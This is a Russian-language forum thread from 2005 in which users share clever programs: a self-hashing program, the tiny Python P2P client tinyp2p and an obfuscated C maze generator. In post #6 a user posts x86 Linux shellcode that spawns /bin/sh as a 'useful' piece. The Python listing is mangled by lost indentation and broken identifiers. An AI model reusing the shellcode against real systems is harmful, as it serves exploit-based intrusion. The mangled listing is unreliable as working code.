AKB Forums

Go Back   AKB Forums > Technical sections > Algorithms
Home Register Blogs FAQ Members List Calendar Downloads Arcade Mark Forums Read

Algorithms The source of algorithms for your project

Troubles when posting message? Click here! :: Проблемы с отправлением сообщения? Нажмите сюда!

Reply
 
LinkBack Thread Tools Display Modes
Old Nov 22, 2005, 08:37   #1
(vagabond)
 
Gypsy's Avatar
 
Join Date: Dec 2004
Location: Himalayas
Posts: 823
Rep Power: 4
Reputation: 10
Шедевры :)

У меня идея. Делимся самыми удивительными, интересными, необычными, на первый взгляд невозможными или очень сложными программами, которые сами написали или нашли в инете или неважно где.

Вот я начну.
Программа которая печатает свой собственный MD5. не обращаясь к файлам или другим средствам ОС. (подумайте как такое вообще возможно перед тем как открыть почитать).

Если в букмарках пороюсь, еще много таких программ откопаю. А пока, жду ответных постов

Last edited by Gypsy : Nov 22, 2005 at 17:30.
Gypsy is offline   Reply With Quote Quote selected
Old Nov 22, 2005, 08:56   #2
Грустно...
 
Agregat's Avatar
 
Join Date: Aug 2002
Location: Там, где всегда идут дожди
Posts: 21,343
Rep Power: 10
Reputation: 109
Send a message via ICQ to Agregat Send a message via MSN to Agregat
Ну точно также, как печатать свой код
__________________
Хотели, как лучше, а получилось даже хуже...
Лозунг шахматиста: На каждый шах - ответим матом!
В сумасшедшем доме каждый мог говорить все, что взбредет ему в голову, словно в парламенте.
Я. Гашек. "Приключения Бравого Солдата Швейка". Часть 1. Глава IV. Абзац 2.
Agregat is offline   Reply With Quote Quote selected
Old Nov 22, 2005, 09:07   #3
...overwined...
 
noone's Avatar
 
Join Date: Mar 2003
Location: ...tortuga...
Posts: 3,372
Rep Power: 6
Reputation: 134
ужасно... яб красивее сделал...
__________________
...let's be gods... let's by ugly...
noone is offline   Reply With Quote Quote selected
Old Nov 22, 2005, 17:00   #4
(vagabond)
 
Gypsy's Avatar
 
Join Date: Dec 2004
Location: Himalayas
Posts: 823
Rep Power: 4
Reputation: 10
Quote:
Originally Posted by noone
ужасно... яб красивее сделал...
оффтоп: ты мальчик? я думал девочка (судя по аватару и нику)...

ну давай поспорим что красивее не сделал бы

Last edited by Gypsy : Nov 22, 2005 at 17:38.
Gypsy is offline   Reply With Quote Quote selected
Old Nov 22, 2005, 17:27   #5
(vagabond)
 
Gypsy's Avatar
 
Join Date: Dec 2004
Location: Himalayas
Posts: 823
Rep Power: 4
Reputation: 10
Программа для P2P file sharing занимающая 15 строк кода.
Написана на Python.

Поддерживает основные функции sharing систем, можно запустить как сервер (подключается к сети существующих серверов, дает им доступ ко всем файлам в своем каталоге) и как клиент (ищет и скачивает файл в сети с данной строкой в названии). Чем не осел или мул?

Quote:
# tinyp2p.py 1.0 (documentation at http://freedom-to-tinker.com/tinyp2p.html)
import sys, os, SimpleXMLRPCServer, xmlrpclib, re, hmac # (C) 2004, E.W. Felten
ar,pw,res = (sys.argv,lambda u:hmac.new(sys.argv[1],u).hexdigest(),re.search)
pxy,xs = (xmlrpclib.ServerProxy,SimpleXMLRPCServer.SimpleXM LRPCServer)
def ls(p=""):return filter(lambda n: (p=="")or res(p,n),os.listdir(os.getcwd()))
if ar[2]!="client": # license: http://creativecommons.org/licenses/by-nc-sa/2.0
myU,prs,srv = ("http://"+ar[3]+":"+ar[4], ar[5:],lambda x:x.serve_forever())
def pr(x=[]): return ([(y in prs) or prs.append(y) for y in x] or 1) and prs
def c(n): return ((lambda f: (f.read(), f.close()))(file(n)))[0]
f=lambda p,n,a: (p==pw(myU))and(((n==0)and pr(a))or((n==1)and [ls(a)])or c(a))
def aug(u): return ((u==myU) and pr()) or pr(pxy(u).f(pw(u),0,pr([myU])))
pr() and [aug(s) for s in aug(pr()[0])]
(lambda sv:sv.register_function(f,"f") or srv(sv))(xs((ar[3],int(ar[4]))))
for url in pxy(ar[3]).f(pw(ar[3]),0,[]):
for fn in filter(lambda n:not n in ls(), (pxy(url).f(pw(url),1,ar[4]))[0]):
(lambda fi:fi.write(pxy(url).f(pw(url),2,fn)) or fi.close())(file(fn,"wc"))
http://www.freedom-to-tinker.com/tinyp2p.html
Gypsy is offline   Reply With Quote Quote selected
Old Nov 23, 2005, 21:32   #6
Какое небо, бля, Багдад!
 
knightmare's Avatar
 
Join Date: Oct 2005
Location: Ереван
Posts: 1,646
Rep Power: 3
Reputation: 68
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x 5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0 \x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\x ff\xff\x2f\x62\x69\x6e\x2f\x73\x68 (c)unknown

Не так красива, как полезна.

Quote:
Originally Posted by Gypsy
Программа которая печатает свой собственный MD5. не обращаясь к файлам или другим средствам ОС. (подумайте как такое вообще возможно перед тем как открыть почитать).
Там же использован всем давно знакомый метод: храним свою копию(без своей копии), потом к ней приписываем определение своей копии... Похожие впечатление оставит практически каждый хоть чуть-чуть грамотно написанный полиморфный код.
__________________
мордой об лавку
LISP is the only language that is truly beautiful.
d
.

Хочу трахнуть Nissan Skyline R34, и ездить на Alessandra Ambrosio

Last edited by knightmare : Nov 23, 2005 at 22:06.
knightmare is offline   Reply With Quote Quote selected
Old Nov 24, 2005, 02:56   #7
(vagabond)
 
Gypsy's Avatar
 
Join Date: Dec 2004
Location: Himalayas
Posts: 823
Rep Power: 4
Reputation: 10
Quote:
Originally Posted by knightmare
Не так красива, как полезна.
Это код для хакинга с переполнением буферов?

Quote:
Originally Posted by knightmare
Похожие впечатление оставит практически каждый хоть чуть-чуть грамотно написанный полиморфный код.
Что подразумевается под фразой "полиморфный код" в данном контексте, причем тут вообще полиморфизм?

Знаешь, когда дано решение, кто угодно может заявить что оно пустяковое и тривиальное.

Last edited by Gypsy : Nov 24, 2005 at 04:29.
Gypsy is offline   Reply With Quote Quote selected
Old Nov 24, 2005, 03:05   #8
(vagabond)
 
Gypsy's Avatar
 
Join Date: Dec 2004
Location: Himalayas
Posts: 823
Rep Power: 4
Reputation: 10
Smile

Просто любопытная штука.
У меня под старые компиляторы C компилировалось и работало.

Программа генерирует случайные лабиринты.
Сам код представляет собой лабиринт, и слово "maze"

Code:
char*M,A,Z,E=40,J[40],T[40];main(C){for(*J=A=scanf(M="%d",&C);
--            E;             J[              E]             =T
[E   ]=  E)   printf("._");  for(;(A-=Z=!Z)  ||  (printf("\n|"
)    ,   A    =              39              ,C             --
)    ;   Z    ||    printf   (M   ))M[Z]=Z[A-(E   =A[J-Z])&&!C
&    A   ==             T[                                  A]
|6<<27<rand()||!C&!Z?J[T[E]=T[A]]=E,J[T[A]=A-Z]=A,"_.":" |"];}
Заходим с одного знака --, выходим с другого
У кого-то было слишком много свободного времени.
Gypsy is offline   Reply With Quote Quote selected
Old Nov 24, 2005, 08:56   #9
Какое небо, бля, Багдад!
 
knightmare's Avatar
 
Join Date: Oct 2005
Location: Ереван
Posts: 1,646
Rep Power: 3
Reputation: 68
Quote:
Originally Posted by Gypsy
Что подразумевается под фразой "полиморфный код" в данном контексте, причем тут вообще полиморфизм?
В том предложении ключевым словом было "впечатление", а не "полиморфный"
Смысл в том, что сложную задачу(алгоритм) в любом случае приходиться решать(реализовывать) красиво...
А вот красиво решить простую "задачу" получается не у всех...

Quote:
Originally Posted by Gypsy
Знаешь, когда дано решение, кто угодно может заявить что оно пустяковое и тривиальное.
Да ладно... Там действительно есть что-то особенное??
Многие ведь еще в школе писали программы "печатающие свой C-исходник" и пр.

Может тогда прямо здесь будем предлагать маленькие(желательно не алгоритмические)
задачи и "общими усилиями" находить красивые решения?
__________________
мордой об лавку
LISP is the only language that is truly beautiful.
d
.

Хочу трахнуть Nissan Skyline R34, и ездить на Alessandra Ambrosio

Last edited by knightmare : Nov 24, 2005 at 21:30.
knightmare is offline   Reply With Quote Quote selected
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Шедевры... Vlad Test 22 Aug 17, 2007 09:22
Остров армянского духа/выставка произведений искусства с острова Св.Лазаря HOB News 1 Oct 19, 2005 06:20
Культпоход:теперь в программе музей русского искусства и дом-музей Сергея Параджанова Monopole General 20 Apr 30, 2005 07:35
АРМЯНСКИЕ АКТРИСЫ – ОСНОВОПОЛОЖНИЦЫ СЦЕНИЧЕСКОГО ИСКУССТВА НА ВОСТОКЕ Hrach_Techie Science and Education 1 Apr 26, 2005 09:32
Новости искусства - НАШИ за рубежом. Eve Art 18 Feb 13, 2004 05:46


All times are GMT. The time now is 12:21.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
This board was founded on September 29, 2001
Powered by Viper Internet

Affordable Web Hosting | ParevNet

Buy text link